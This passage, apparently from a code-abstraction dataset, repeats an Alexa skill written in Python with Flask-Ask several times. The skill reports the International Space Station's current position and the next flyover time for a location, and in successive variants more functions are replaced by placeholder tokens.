render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\[email protected]('AMAZON.NavigateHomeIntent')\ndef go_home():\n return question('et - phone home')\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return question(welcome_message).reprompt(welcome_message_reprompt)\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\[email protected]('AMAZON.NavigateHomeIntent')\ndef go_home():\n return question('et - phone home')\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return question(welcome_message).reprompt(welcome_message_reprompt)\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\[email protected]('AMAZON.NavigateHomeIntent')\ndef go_home():\n return question('et - phone home')\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\[email protected]\ndef start_skill():\n welcome_message_reprompt = render_template('welcome_message_reprompt')\n welcome_message = render_template('welcome_message')\n return question(welcome_message).reprompt(welcome_message_reprompt)\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\ndef where_is_the_iss_now():\n iss_now_website = 'http://api.open-notify.org/iss-now.json'\n webby = requests.get(iss_now_website)\n data = webby.json()\n if data['iss_position']:\n longitude = data['iss_position'].get('longitude')\n latitude = data['iss_position'].get('latitude')\n results = rg.search((latitude, longitude), mode=1)\n lat, lon, name, admin1, admin2, cc = results[0].values()\n ordinal = find_ordinals(city=(float(lat), float(lon)), iss=(float(\n latitude), float(longitude)))\n country_cc = requests.get(\n 'https://pkgstore.datahub.io/core/country-list/data_json/data/8c458f2d15d9f2119654b29ede6e45b8/data_json.json'\n )\n country_cc = country_cc.json()\n iss_coordinates = latitude, longitude\n k_nearest_coordinates = lat, lon\n distance_miles = distance.distance(k_nearest_coordinates, iss_coordinates\n ).miles\n country_name = ''\n for i in filter(lambda d: d.get('Code') == cc, country_cc):\n country_name = i.get('Name')\n location_text = ', '.join([name, admin1, country_name])\n if distance_miles > 150:\n answer = (\n 'The International Space Station is {} miles {} off the coast of {}'\n .format(int(distance_miles), ordinal, location_text))\n else:\n answer = ('the International Space Station is {} miles {} near {}'.\n format(int(distance_miles), ordinal, location_text))\n return (answer, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name)\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\[email protected]('AMAZON.StopIntent')\ndef stop():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\n<function token>\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\[email protected]_ended\ndef session_ended():\n return '{}', 200\n\n\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\[email protected]('Credits')\ndef speak_credits():\n credits_ = render_template('credits')\n return statement(credits_)\n\n\n<function token>\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n try:\n city = location.address.split(',')[0]\n state = location.address.split(',')[2]\n country = location.address.split(',')[-1]\n location_name = ', '.join([city, state, country])\n except IndexError:\n location_name = location.address.split(',')[-1]\n fly_over = requests.get(\n 'http://api.open-notify.org/iss-pass.json?lat={}&lon={}'.format(\n location.latitude, location.longitude))\n fly_over = fly_over.json()\n if fly_over['message'] == 'success':\n rise = fly_over['response'][0]\n answer = time.strftime('%A, %B %d, %Y at %I:%M %p GMT', time.\n localtime(rise.get('risetime')))\n a = rise.get('risetime')\n b = time.time()\n c = a - b\n hours = c // 3600 % 24\n minutes = c // 60 % 60\n minutes = int(minutes)\n hours = int(hours)\n if minutes == 1:\n minorminutes = 'minute'\n else:\n minorminutes = 'minutes'\n if hours == 1:\n hour_or_hours = 'hour'\n else:\n hour_or_hours = 'hours'\n if hours == 0:\n time_til_rise = '{} {}'.format(minutes, minorminutes)\n else:\n time_til_rise = '{} {} and {} {}'.format(hours, hour_or_hours,\n minutes, minorminutes)\n else:\n answer = 'failure'\n return statement('the next flyover for {} will begin in {} on {}'.\n format(location_name, time_til_rise, answer))\n\n\[email protected]('WhereISS')\ndef share_location():\n (iss_location, latitude, longitude, distance_miles, ordinal, name,\n admin1, country_name) = where_is_the_iss_now()\n latitude, longitude, distance_miles = float(latitude), float(longitude\n ), float(distance_miles)\n return statement(iss_location).standard_card(title=\n 'Location of the International Space Station', text=\n \"\"\"Latitude {} and Longitude {},\n {} miles {} of {}, {} in {}\"\"\".\n format(round(latitude, 2), round(longitude, 2), round(\n distance_miles, 0), ordinal, name, admin1, country_name))\n\n\[email protected]('AMAZON.FallbackIntent')\ndef fallback():\n to_continue = render_template('to_continue')\n return question('Sorry, I am not sure what you asked me...{}'.format(\n to_continue))\n\n\n<function token>\n\n\[email protected]('AMAZON.HelpIntent')\ndef help_me():\n help_me_text = render_template('help')\n return question(help_me_text)\n\n\n<function token>\n<function token>\n\n\[email protected]('AMAZON.CancelIntent')\ndef cancel():\n bye_text = render_template('bye')\n return statement(bye_text)\n\n\n<function token>\n<code token>\n", "<import token>\n<docstring token>\n<assignment token>\n\n\ndef find_ordinals(city, iss):\n \"\"\" \n Take tuple coordinates (lat, lon) for City and ISS and\n find the cardinal direction of NE, SE, SW, NW\n \"\"\"\n if iss[0] - city[0] > 0:\n a = 'North'\n else:\n a = 'South'\n if iss[1] - city[1] > 0:\n b = 'East'\n else:\n b = 'West'\n return ''.join([a, b])\n\n\n<function token>\n\n\[email protected]('/')\ndef homepage():\n return ''\n\n\n<function token>\n\n\[email protected]('YourLocation')\ndef pass_over(my_location):\n geolocator = Nominatim(user_agent='my-application')\n print(my_location)\n location = geolocator.geocode(my_location, language='en-US')\n 